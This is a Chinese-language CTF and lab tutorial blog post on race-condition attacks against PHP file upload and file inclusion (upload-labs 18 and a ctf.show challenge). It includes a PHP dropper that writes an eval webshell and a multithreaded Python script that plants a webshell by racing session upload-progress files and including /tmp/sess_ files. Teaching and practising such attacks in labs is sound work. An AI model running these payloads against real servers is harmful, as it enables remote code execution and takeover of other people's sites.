前言
文章同步于我的个人博客https://quan9i.top/competition.md,欢迎大家访问
在学习文件包含和文件上传时,都涉及到了文件竞争这个漏洞,因为理解问题,导致这类题我很难攻破,特此来进行条件竞争的学习,总结如下,希望能对正在学习的师傅有所帮助。
定义
条件竞争就是两个或者多个进程或者线程同时处理一个资源(全局变量,文件)产生非预想的执行效果,从而产生程序执行流的改变,从而达到攻击的目的。
举个栗子
假如我们去银行里取钱,假如我们本来有2000元,我们在atm机进行取款,取款2000,此时我们点击取款操作,而atm在进行取款的时候,我们又一次进去了取款,这时候atm机就会转出4000,我们的账号余额会变成-2000,这就是我们多线程执行的结果,这里的话双线程就可以理解为一个在取款,同时另一个也在进行取款,这时候对银行来说就造成了非预期的效果
https://blog.csdn.net/qq_39153421/article/details/116742488
文件上传条件竞争
0X01
这里以upload-labs18作为示例进行讲解,其源码如下
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
上传文件源代码里没有校验上传的文件,用move_uploaded_file
将上传的临时文件移动到了指定目录下,而后进行了判断,如果文件格式符合要求,就用rename
给文件重命名并上传,如果文件格式不合乎要求就删除
当我们用多线程脚本或者bp来进行访问时,服务器就会并发处理多个请求,也就是同时对多个请求进行响应,假如此时用户a上传了木马文件,由于代码执行需要时间,这时候用户b访问木马文件,就会出现以下三种情况
1、访问的时候文件还未上传,访问失败,显示404
2、访问的时候文件上传成功但还未判断是否符合文件要求,访问成功
3、访问的时候文件已经被判断完毕,被删除,访问失败,显示404
我们这时候就可以利用第二种情况来插入我们的木马,但是这个文件能成功上传并访问的概率本身就很低,所以在执行一次命令过后,他被删除的概率几乎为%99.99,不可能出现这个文件一直可以成功访问的情况,因此我们这时候就需要用这个文件来写入一个木马文件,然后我们访问木马文件,这时候就可以执行我们的命令或者是用蚁剑连接了。
原理讲解清楚了,下面开始实战
介绍几个函数
fputs — fwrite() 的别名
fwrite — 写入文件(可安全用于二进制文件)
fwrite( resource $handle, string $string)
把 string 的内容写入文件指针 handle 处。
fopen — 打开文件或者 URL
说明
resource fopen( string $filename, string $mode )
fopen() 将 filename 指定的名字资源绑定到一个流上。
mode 参数指定了所要求到该流的访问类型。可以是以下:
fopen() 中 mode 的可能值列表
'r' 只读方式打开,将文件指针指向文件头。
'r+' 读写方式打开,将文件指针指向文件头。
'w' 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
'w+' 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
'a' 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
'a+' 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
'x' 创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。
'x+' 创建并以读写方式打开,其他的行为和 'x' 一样。
首先构造我们的上传文件,其内容如下
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["1"])?>');?>
含义就是创建shell.php文件,并写入一句话木马
上传我们的php文件并发送到intruder模块
选择Null payloads
此时上传文件的是处理好了,我们还需要用一个访问文件的,此时我们不用bp,用一个脚本来进行访问
import requests
url = "http://127.0.0.1:8080/upload-labs-master/upload/2.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
先进行访问,再开启上传
成功上传了2.php,但此时2.php肯定已经被删除了,但我们2.php里的语句肯定执行了,我们执行的语句是写入一个shell.php文件,此时访问url/upload/shell.php
一片空白,我们尝试输入个phpinfo()
注入成功,此时蚁剑连接getshell
此时查看文件,即可获取flag(当然这个文件本身不存在,是我自己人为添加的)
0X02
源码如下
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
像这种过滤了.
和php
的无法直接使用上述那种的上传文件然后写入文件,因为这种就限制了文件后缀,我们无法再写入有文件后缀的文件,但计算机中存在session,而session有以下几个属性
session.upload_progress.enabled = on
//可以控制是否开启session.upload_progress功能
session.upload_progress.cleanup = on
//session.upload_progress.cleanup可以控制是否在上传之后删除文件内容
session.upload_progress.prefix = "upload_progress_"
//session.upload_progress.prefix可以设置上传文件内容的前缀
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
//session.uplad_progress.name的值即为session中的键值
此时我们再往服务器中上传一个文件时,PHP会把该文件的详细信息(如上传时间、上传进度等)存储在session当中。
如何初始化session并且把session中的内容写到文件中去呢?
我们可以注意到,php.ini中session.use_strict_mode选项默认是0,在这个情况下,用户可以自己定义自己的sessionid,例如当用户在cookie中设置sessionid=Lxxx时,PHP就会生成一个文件/tmp/sess_Lxxx,此时也就初始化了session,并且会将上传的文件信息写入到文件/tmp/sess_Lxxx中去,具体文件的内容是什么,后面会写到。
此时的话我们传入我们的文件,在文件里更改更改他的cookie,就可以控制它的session文件名
这个文件的键值是ini.get("session.upload_progress.prefix")
+由我们构造的session.upload_progress.name
值组成,最后被写到session文件中,那我们在PHP_SESSION_UPLOAD_PROGRESS
中编写我们的恶意语句,就成功的写到了session文件中,而我们的文件一上传就会被删除,这时候我们该怎么办呢,靠多线程竞争,python脚本如下
import threading
import io
import requests
url='http://e452861c-2e24-45d7-85cb-081b143cf342.challenge.ctf.show:8080/'#传入url
data={
'1':"file_put_contents('/var/www/html/2.php','<?php eval($_POST[2]);?>');" #写入2.php文件,文件内容为一句话木马
}
sessionid='quan9i' #传入session文件名
def write(session): #自定义写入session文件函数
fileBytes=io.BytesIO(b'a'*1024*50) #括号内的b表示后面字符串是bytes类型。这里传入了50kb
while True:
response=session.post(url,
data={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'#传入的session文件中的内容为一句话木马
},
cookies={
'PHPSESSID':sessionid #文件名为sessionid,sessionid是quan9i,因此这里的文件名就是quan9i
},
files={
'file':('quan9i.jpg',fileBytes)#路径是quan9i.jpg文件,文件大小是50kb
}
)
#printf(response)
def read(session):#自定义读取session文件函数
while True:
response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,cookies={#这里写入tmp是为了包含session文件,session文件执行的的是1,1的参数对应的数据是写入文件2.php,文件2.php对应的内容是执行2
'PHPSESSID':sessionid #读取路径是tmp/sess_quan9i
}
)
response2=session.get(url+'2.php')
if response2.status_code==200:#如果返回正常
print('[+++++++++++++++++YES+++++++++++++++++]')
else:
print(response2.status_code)#输出状态码
if __name__=='__main__':
event=threading.Event()
with requests.session() as session:
for i in range(5):#五个进程
threading.Thread(target=write,args=(session,)).start()
for i in range(5):
threading.Thread(target=read,args=(session,)).start()
event.set()#初始化
'''
整体思路
首先写入url,我们需要往里面传入数据,所以我们这里data传入一个php文件,传到默认路径下,文件内容为一句话木马,为了
控制session文件名,我们设置sessionid为quan9i,此时开始定义写文件函数,首先需要写入一个在session文件中写入一个文件,大小
设置为50kb即可,之所以要写入文件是为了配合PHP_SESSION_UPLOAD_PROGRESS,这个东西是监测文件上传进度的,如果不传文件的话,
我们啥也监测不了,这个语句就有问题了,然后设置cookie为PHPSESSID=sessionid,
此时sessionid就是我们之前设置的quan9i,这时就确定了session文件的路径是/tmp/sess_quan9i,
此时我们监测的文件还没传,上方写入的文件需要传进去,我们传进去就可以了,此时可以printf(response)来查看响应进而确定是否成功写入文件
此时再自定义读文件,首先post包含我们的session文件,并设置cookie与之前相同,这个目的是为了执行session中的代码,session文件执行的是参数1,参数1在最上方对应
的是写入2.php文件,2.php文件对应的是执行参数2,
如果执行成功就输出+++YES+++,错误时返回状态码
'''
为什么脚本可以用,是因为脚本使用了多线程竞争的方法。
什么是多线程竞争?
线程是非独立的,同一个进程里线程是数据共享的,当当各个线程访问数据资源时会出现竞争状态即:
数据几乎同步会被多个线程占用,造成数据混乱,即所谓的线程不安全 。
这样,因为在执行session_unset()与执行session_destroy()的时候有间隔,他们与include($file)之间也会有间隔,我们其中的一个线程在删除session文件,而另一个线程刚刚又创建了一个session文件,然后前面的线程又开始包含,那么还是能够正常包含。
参考文章
https://blog.csdn.net/qq_46918279/article/details/120106832